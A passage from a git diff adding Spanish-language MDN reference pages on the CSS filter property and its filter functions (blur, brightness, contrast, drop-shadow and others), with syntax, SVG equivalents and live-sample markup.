@@ -0,0 +1,65 @@
+---
+title: <filter-function>
+slug: Web/CSS/filter-function
+tags:
+  - CSS
+  - Efectos de Filtro
+  - Referencia
+  - Tipos de dato CSS
+translation_of: Web/CSS/filter-function
+---
+<div>{{cssref}}</div>
+
+<p>El <a href="/es/docs/Web/CSS/CSS_Types">tipo de datos</a> <a href="/es/docs/Web/CSS">CSS</a> <code><strong>&lt;filter-function&gt;</strong></code> representa un efecto gráfico que puede cambiar la apariencia de una imagen de entrada. Se usa en las propiedades {{cssxref("filter")}} y {{cssxref("backdrop-filter")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<p>El tipo de datos <code>&lt;filter-function&gt;</code> se especifica utilizando una de las funciones de filtro enumeradas a continuación. Cada función requiere un argumento que, si no es válido, da como resultado que no se aplique ningún filtro.</p>
+
+<dl>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur">blur()</a></code></dt>
+ <dd>Difumina la imagen.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness">brightness()</a></code></dt>
+ <dd>Hace que la imagen sea más brillante o más oscura.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/contrast">contrast()</a></code></dt>
+ <dd>Aumenta o disminuye el contraste de la imagen.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/drop-shadow">drop-shadow()</a></code></dt>
+ <dd>Aplica una sombra paralela detrás de la imagen.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale">grayscale()</a></code></dt>
+ <dd>Convierte la imagen a escala de grises.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/hue-rotate">hue-rotate()</a></code></dt>
+ <dd>Cambia el tono general de la imagen.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/invert">invert()</a></code></dt>
+ <dd>Invierte los colores de la imagen.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/opacity">opacity()</a></code></dt>
+ <dd>Hace que la imagen sea transparente.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/saturate">saturate()</a></code></dt>
+ <dd>Super-saturado o desaturado la imagen de entrada.</dd>
+ <dt><code><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/sepia">sepia()</a></code></dt>
+ <dd>Convierte la imagen a sepia.</dd>
+</dl>
+
+<h2 id="Especificación">Especificación</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('Filters 1.0', '#typedef-filter-function', '&lt;filter-function&gt;') }}</td>
+   <td>{{ Spec2('Filters 1.0') }}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Propiedades que usan este tipo de datos: {{cssxref("filter")}} y {{cssxref("backdrop-filter")}}</li>
+</ul>
diff --git a/files/es/web/css/filter-function/url/index.html b/files/es/web/css/filter-function/url/index.html
new file mode 100644
index 0000000000..e84d5c30d0
--- /dev/null
+++ b/files/es/web/css/filter-function/url/index.html
@@ -0,0 +1,32 @@
+---
+title: url()
+slug: Web/CSS/filter-function/url
+tags:
+  - CSS
+  - Referencia
+translation_of: Web/CSS/url()
+---
+<div>{{cssref}}</div>
+
+<p>La función de <a href="/es/docs/Web/CSS">CSS</a> <strong><code>url()</code></strong> usa un <a href="/es/docs/Web/SVG/Element/filter"> filtro SVG</a> para cambiar la apariencia en la imagen de entrada.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">url(<em>location</em>)</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>location</code></dt>
+ <dd>La {{cssxref("&lt;url&gt;")}} de un archivo {{glossary("XML")}} que especifique un filtro SVG, y puede incluir un ancla a un elemento filtro específico.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">url(resources.svg#c1)</pre>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{cssxref("&lt;filter-function&gt;")}}</li>
+</ul>
diff --git a/files/es/web/css/filter/index.html b/files/es/web/css/filter/index.html
new file mode 100644
index 0000000000..6ae8e8e2dd
--- /dev/null
+++ b/files/es/web/css/filter/index.html
@@ -0,0 +1,1194 @@
+---
+title: filter
+slug: Web/CSS/filter
+tags:
+  - CSS
+  - Filtro
+  - Filtro SVG
+  - Propiedad CSS
+  - Referencia
+  - SVG
+translation_of: Web/CSS/filter
+---
+<p>{{SeeCompatTable}}{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <strong><code>filter</code></strong> dota de efectos gráficos como el desenfoque o cambio de color en la representación antes de que se muestre el elemento. Los filtros se utilizan comúnmente para ajustar la representación de imágenes, fondos o bordes.</p>
+
+<p>Hay varias funciones Incluidas en el estándar CSS que logran efectos predefinidos. También puede hacer referencia a un filtro especificado en SVG con una URL  a un <a href="/es/docs/Web/SVG/Element/filter" title="/en/SVG/Element/filter">filtro de un elemento SVG</a>.</p>
+
+<div class="note"><strong>Nota:</strong> Versiones anteriores (4.0 hasta 9.0) del navegador Internet Explorer de Windows admiten una propiedad <a class="external" href="https://msdn.microsoft.com/es-es/library/ms532853(v=vs.85).aspx" title="http://msdn.microsoft.com/en-us/library/ms532853(v=vs.85).aspx">"filter"</a> no incluida en el estándar que ha quedado en desuso.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">filter: url("filters.svg#filter-id");
+filter: blur(5px);
+filter: brightness(0.4);
+filter: contrast(200%);
+filter: drop-shadow(16px 16px 20px blue);
+filter: grayscale(50%);
+filter: hue-rotate(90deg);
+filter: invert(75%);
+filter: opacity(25%);
+filter: saturate(30%);
+filter: sepia(60%);
+
+/* Apply multiple filters */
+filter: contrast(175%) brightness(3%);
+
+/* Global values */
+filter: inherit;
+filter: initial;
+filter: unset;
+</pre>
+
+<p>Con una función, use el siguiente código:</p>
+
+<pre class="syntaxbox">filter: &lt;filter-function&gt; [&lt;filter-function&gt;]* | none
+</pre>
+
+<p>Para referenciar a al valor {{SVGElement("filter")}} de un elemento SVG, use el siguiente código:</p>
+
+<pre class="syntaxbox">filter: url(file.svg#filter-element-id)
+</pre>
+
+<h3 id="Interpolación">Interpolación</h3>
+
+<p>Si ambos filtros tienen una lista de funciones con la misma longitud y sin {{cssxref("&lt;url&gt;")}}, cada una de las funciones de filtro es interpolada, de acuerdo a sus reglas específicas. Si tienen longitudes diferentes, las funciones equivalentes que falten de la lista más larga se añaden al final de la lista más corta, usando sus valores lagunares, y después todas las funciones son interpoladas de acuerdo a sus reglas específicas. Si un filtro es 'none', es reemplazado por la lista de funciones de filtro del otro, usando los valores predeterminados para cada función, y después todos los filtros son interpolados de acuerdo a su regla específica. De otra forma, se usa interpolación discreta.</p>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Ejemplos del uso de las funciones predefinidas se muestran a continuación. Ver cada función. Ver cada función para un ejemplo específico.</p>
+
+<pre class="brush: css">.mydiv { filter: grayscale(50%) }
+
+/* funcion del blanco y negro "grayscale" al 50% y un desenfoque "blur" de 10px */
+img {
+  filter: grayscale(0.5) blur(10px);
+}</pre>
+
+<p>Ejemplos del uso de la función  con el recurso SVG se muestran a continuación.</p>
+
+<pre class="brush: css">.target { filter: url(#c1); }
+
+.mydiv { filter: url(commonfilters.xml#large-blur) }
+</pre>
+
+<h2 id="Funciones">Funciones</h2>
+
+<p>Para utilizar la propiedad CSS <code>filter</code>, hay que especificar un valor para una de las siguientes funciones. Si el valor no es válido, la función se ejecutará de la misma manera que si se le aplicara "none". Las funciones que toman un valor en procentaje (como en el 34%) también aceptan el valor expresado como decimal (como en 0.34 ó .34).</p>
+
+<h3 id="url()"><code>url()</code></h3>
+
+<p>La función url() toma la dirección de un archivo XML que especifica un filtro SVG, y puede incluir un ancla para un elemento de filtro especifico.</p>
+
+<pre class="brush: css">filter: url(resources.svg#c1)
+</pre>
+
+<h3 id="blur()"><code>blur()</code></h3>
+
+<p>Aplica un desenfoque Gaussiano a la imagen. El valor de 'radio' define el valor de la desviación estándar de la función de desenfoque Gaussiano o el número de píxeles que se mezclan entre sí, por lo que un valor mayor creará un mayor desenfoque. El valor lagunar de interpolación (es decir, si no se proporciona ningún parametro) es <code>0</code>. El parámetro se especifica como una longitud de CSS, pero no acepta porcentajes.</p>
+
+<pre class="brush: css">filter: blur(5px)
+</pre>
+
+<div id="blur_example" style="display: none;">
+<pre class="brush: html">  &lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3710/Test_Form_2.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg id="img3" viewbox="0 0 233 176"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%" &gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5" /&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3710/Test_Form_2.jpeg" filter="url(#svgBlur)" x="5%" y="5%" width="212px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3711/Test_Form_2_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:blur(5px);
+  -webkit-filter:blur(5px);
+  -o-filter:blur(5px);
+  -ms-filter:blur(5px);
+  filter:blur(5px); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height: 100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;svg height="0" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="svgBlur" x="-5%" y="-5%" width="110%" height="110%"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="5"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('blur_example','100%','236px','')}}</p>
+
+<h3 id="brightness()"><code>brightness()</code></h3>
+
+<p>Se aplica una multiplicación lineal a la imagen, haciendo que parezca más o menos brillante. Un valor de <code>0%</code> convertirá la imagen completamente a negro. Un valor de <code>100%</code> no producirá ningún cambio en la imagen. Otros valores causarán una multiplicación lineal en el efecto. Los valores de una cantidad superior al <code>100%</code> aumentarán el brillo de la imagen. El valor lagunar (si no se especifica ningún valor) es <code>1</code> (equivalente a <code>100%</code>).</p>
+
+<pre class="brush: css">filter: brightness(0.5)</pre>
+
+<pre class="brush: html">&lt;svg height="0" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="[amount]"/&gt;
+        &lt;feFuncG type="linear" slope="[amount]"/&gt;
+        &lt;feFuncB type="linear" slope="[amount]"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<div id="brightness_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img1" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form.jpg" id="img2" class="internal default" src="/files/3708/Test_Form.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 286 217"&gt;
+ &lt;filter id="brightness"&gt;
+    &lt;feComponentTransfer&gt;
+        &lt;feFuncR type="linear" slope="2"/&gt;
+        &lt;feFuncG type="linear" slope="2"/&gt;
+        &lt;feFuncB type="linear" slope="2"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3708/Test_Form.jpg" filter="url(#brightness)" width="286px" height="217px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3709/Test_Form_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:brightness(2);
+  -webkit-filter:brightness(2);
+  -o-filter:brightness(2);
+  -ms-filter:brightness(2);
+  filter:brightness(2); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  height:100%;
+  width: 85%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('brightness_example','100%','231px','')}}</p>
+
+<h3 id="contrast()"><code>contrast()</code></h3>
+
+<p>Ajusta el contraste del elemento. Un valor superior a <code>0%</code> creará una imagen completamente gris. Un valor de <code>100%</code> deja al elemento sin cambios. Valores superiores a <code>100%</code> son permitidos, dando como resultado mayor contraste. El valor lagunar de interpolación (si no se especifica ningún valor) es <code>1</code> (equivalente a <code>100%</code>).</p>
+
+<pre class="brush: css">filter: contrast(200%)
+</pre>
+
+<pre class="brush: html">&lt;svg height="0" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncG type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+      &lt;feFuncB type="linear" slope="[amount]" intercept="-(0.5 * [amount]) + 0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<div id="contrast_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpeg" id="img1" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_3.jpg" id="img2" class="internal default" src="/files/3712/Test_Form_3.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 240 151"&gt;
+ &lt;filter id="contrast"&gt;
+    &lt;feComponentTransfer&gt;
+      &lt;feFuncR type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncG type="linear" slope="2" intercept="-0.5"/&gt;
+      &lt;feFuncB type="linear" slope="2" intercept="-0.5"/&gt;
+    &lt;/feComponentTransfer&gt;
+  &lt;/filter&gt;
+  &lt;image xlink:href="/files/3712/Test_Form_3.jpeg" filter="url(#contrast)" width="240px" height="151px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_s.jpg" id="img4" class="internal default" src="/files/3713/Test_Form_3_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter:contrast(200%);
+  -webkit-filter:contrast(200%);
+  -o-filter:contrast(200%);
+  -ms-filter:contrast(200%);
+  filter:contrast(200%); }
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('contrast_example','100%','203px','')}}</p>
+
+<h3 id="drop-shadow()"><code>drop-shadow()</code></h3>
+
+<p>Aplica un efecto de sombra a la imagen. Una  sombra es realmente una versión desenfocada y separada de la máscara alfa de la imagen, dibujada en un color particular, debajo de la misma. La función acepta un parámetro de tipo &lt;shadow&gt; (definido en CSS3 Backgrounds), con la excepción de que la palabra clave ‘inset’ no está permitida. Esta función es similar a la propiedad {{cssxref("box-shadow")}}, más establecida; la diferencia es que con filtros, algunos navegadores proveen aceleración de hardware para mayor rendimiento. Los valores para el parámetro <code>&lt;shadow&gt;</code> son los siguientes:</p>
+
+<dl>
+ <dt><code>&lt;offset-x&gt;</code> <code>&lt;offset-y&gt;</code> <small>(requerido)</small></dt>
+ <dd>Son dos valores {{cssxref("&lt;length&gt;")}} para establecer la posición de la sobra respecto a la imagen. <code>&lt;offset-x&gt;</code> especifica la distancia horizontal. Valores negativos establecen la sombra a la izquierda del elemento. <code>&lt;offset-y&gt;</code> especifica la distancia vertical. Valores negativos establecen la sombra arriba del elemento. Véase {{cssxref("&lt;length&gt;")}} para unidades posibles.<br>
+ Si ambos valores son <code>0</code>, la sombra será colocada detrás del elemento (y puede generar un efecto de desenfoque si se establecen <code>&lt;blur-radius&gt;</code> y/o <code>&lt;spread-radius&gt;</code>).</dd>
+ <dt><code>&lt;blur-radius&gt;</code> <small>(opcional)</small></dt>
+ <dd>Es un tercer valor {{cssxref("&lt;length&gt;")}}. Mientras mayor sea el valor, mayor será el desenfoque, por lo que la sombra se vuelve más grande y clara. No se permiten valores negativos. Si no es especificado, su valor predeterminado será <code>0</code> (el borde de la sombra es nítido).</dd>
+ <dt><code>&lt;spread-radius&gt;</code> <small>(opcional)</small></dt>
+ <dd>Es el cuarto valor {{cssxref("&lt;length&gt;")}}. Valores positivos harán que la sombra se expanda, y valores negativos harán que la sombra se contraiga. Si no se especifica, su valor predeterminado será <code>0</code> (la sombra tendrá el mismo tamaño del elemento). <br>
+ Nota: Webkit, y tal vez otros navegadores, no soportan este cuarto valor; si se incluye, no se aplicará el filtro.</dd>
+ <dt><code>&lt;color&gt;</code> <small>(opcional)</small></dt>
+ <dd>Véanse los valores {{cssxref("&lt;color&gt;")}} para las opciones posibles de palabras clave y notaciones. Si no se especifica, el color depende del navegador. En Gecko (Firefox), Presto (Opera) y Trident (Internet Explorer), se usa el valor de la propiedad {{cssxref("color")}}. Por otro lado, la sombra en WebKit es transparente, y por lo tanto, es inútil si se omite <code>&lt;color&gt;</code>.</dd>
+</dl>
+
+<pre class="brush: css">filter: drop-shadow(16px 16px 10px black)</pre>
+
+<pre class="brush: html">&lt;svg height="0" xmlns="http://www.w3.org/2000/svg"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="[radius]"/&gt;
+    &lt;feOffset dx="[offset-x]" dy="[offset-y]" result="offsetblur"/&gt;
+    &lt;feFlood flood-color="[color]"/&gt;
+    &lt;feComposite in2="offsetblur" operator="in"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<div id="shadow_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpeg" id="img1" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4.jpg" id="img2" class="internal default" src="/files/3714/Test_Form_4.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;div class="svg-container"&gt;&lt;svg xmlns="http://www.w3.org/2000/svg" id="img3" viewbox="0 0 239 187"&gt;
+ &lt;filter id="drop-shadow"&gt;
+    &lt;feGaussianBlur in="SourceAlpha" stdDeviation="5"/&gt;
+    &lt;feOffset dx="16" dy="16"/&gt;
+    &lt;feMerge&gt;
+      &lt;feMergeNode/&gt;
+      &lt;feMergeNode in="SourceGraphic"/&gt;
+    &lt;/feMerge&gt;
+ &lt;/filter&gt;
+ &lt;image xlink:href="/files/3714/Test_Form_4.jpeg" filter="url(#drop-shadow)" width="213px" height="161px" /&gt;
+&lt;/svg&gt;&lt;div&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4_s.jpg" id="img4" class="internal default" src="/files/3715/Test_Form_4_s.jpg" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Original image" id="img11" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border - Live example" id="img12" class="internal default" src="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;
+        &lt;div class="svg-container"&gt;
+          &lt;svg xmlns="http://www.w3.org/2000/svg" id="img13" viewbox="0 0 239 187"&gt;
+            &lt;filter id="drop-shadow2"&gt;
+              &lt;feGaussianBlur in="SourceAlpha" stdDeviation="4"/&gt;
+              &lt;feOffset dx="8" dy="10"/&gt;
+              &lt;feMerge&gt;
+                &lt;feMergeNode/&gt;
+                &lt;feMergeNode in="SourceGraphic"/&gt;
+              &lt;/feMerge&gt;
+            &lt;/filter&gt;
+            &lt;image xlink:href="/files/8467/Test_Form_4_irregular-shape_opacity-gradient.png<span style="font-size: 1rem;">" filter="url(#drop-shadow2)" width="213px" height="161px" /&gt;</span>
+          &lt;/svg&gt;
+        &lt;div&gt;
+      &lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_4 distorded border drop shadow - Static example" id="img14" class="internal default" src="/files/8469/Test_Form_4_irregular-shape_opacity-gradient_drop-shadow.png" style="width: 100%;" /&gt;&lt;/td&gt;
+    &lt;/tr&gt;
+  &lt;/tbody&gt;
+&lt;/table&gt;
+</pre>
+
+<pre class="brush: css">html {
+  height:100%;
+}
+body {
+  font: 14px/1.286 "Lucida Grande","Lucida Sans Unicode","DejaVu Sans",Lucida,Arial,Helvetica,sans-serif;
+  color: rgb(51, 51, 51);
+  height:100%;
+  overflow:hidden;
+}
+#img2 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(16px 16px 10px black);
+  -webkit-filter: drop-shadow(16px 16px 10px black);
+  -o-filter: drop-shadow(16px 16px 10px black);
+  -ms-filter: drop-shadow(16px 16px 10px black);
+  filter: drop-shadow(16px 16px 10px black);
+}
+#img12 {
+  width:100%;
+  height:auto;
+  -moz-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -webkit-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -o-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  -ms-filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+  filter: drop-shadow(8px 9px 5px rgba(0,0,0,.8));
+}
+table.standard-table {
+  border: 1px solid rgb(187, 187, 187);
+  border-collapse: collapse;
+  border-spacing: 0px;
+  margin: 0px 0px 1.286em;
+  width: 85%;
+  height: 100%;
+}
+#irregular-shape {
+  width: 64%;
+}
+table.standard-table th {
+  border: 1px solid rgb(187, 187, 187);
+  padding: 0px 5px;
+  background: none repeat scroll 0% 0% rgb(238, 238, 238);
+  text-align: left;
+  font-weight: bold;
+}
+table.standard-table td {
+  padding: 5px;
+  border: 1px solid rgb(204, 204, 204);
+  text-align: left;
+  vertical-align: top;
+  width:25%;
+  height:auto;
+}
+#img3, #img13 {
+  height:100%;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('shadow_example','100%','300px','')}}</p>
+
+<h3 id="grayscale()"><code>grayscale()</code></h3>
+
+<p>Convierte la imagen a escala de grises. El valor del parámetro define la proporción de la conversión. Un valor de <code>100%</code> es completamente a escala de grises. Un valor de <code>0%</code> deja la imagen sin cambios. Valores entre <code>0%</code> y <code>100%</code> son múltiplos lineales de este efecto. Si el parámetro no es incluido, se usa el valor de <code>0</code>.</p>
+
+<pre class="brush: css">filter: grayscale(100%)</pre>
+
+<div id="grayscale_example" style="display: none;">
+<pre class="brush: html">&lt;table class="standard-table"&gt;
+  &lt;thead&gt;
+    &lt;tr&gt;
+      &lt;th align="left" scope="col"&gt;Original image&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Live example&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;SVG Equivalent&lt;/th&gt;
+      &lt;th align="left" scope="col"&gt;Static example&lt;/th&gt;
+    &lt;/tr&gt;
+  &lt;/thead&gt;
+  &lt;tbody&gt;
+    &lt;tr&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpeg" id="img1" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
+      &lt;td&gt;&lt;img alt="Test_Form_5.jpg" id="img2" class="internal default" src="/files/3716/Test_Form_5.jpeg" style="width: 100%;" /&gt;&lt;/td&gt;
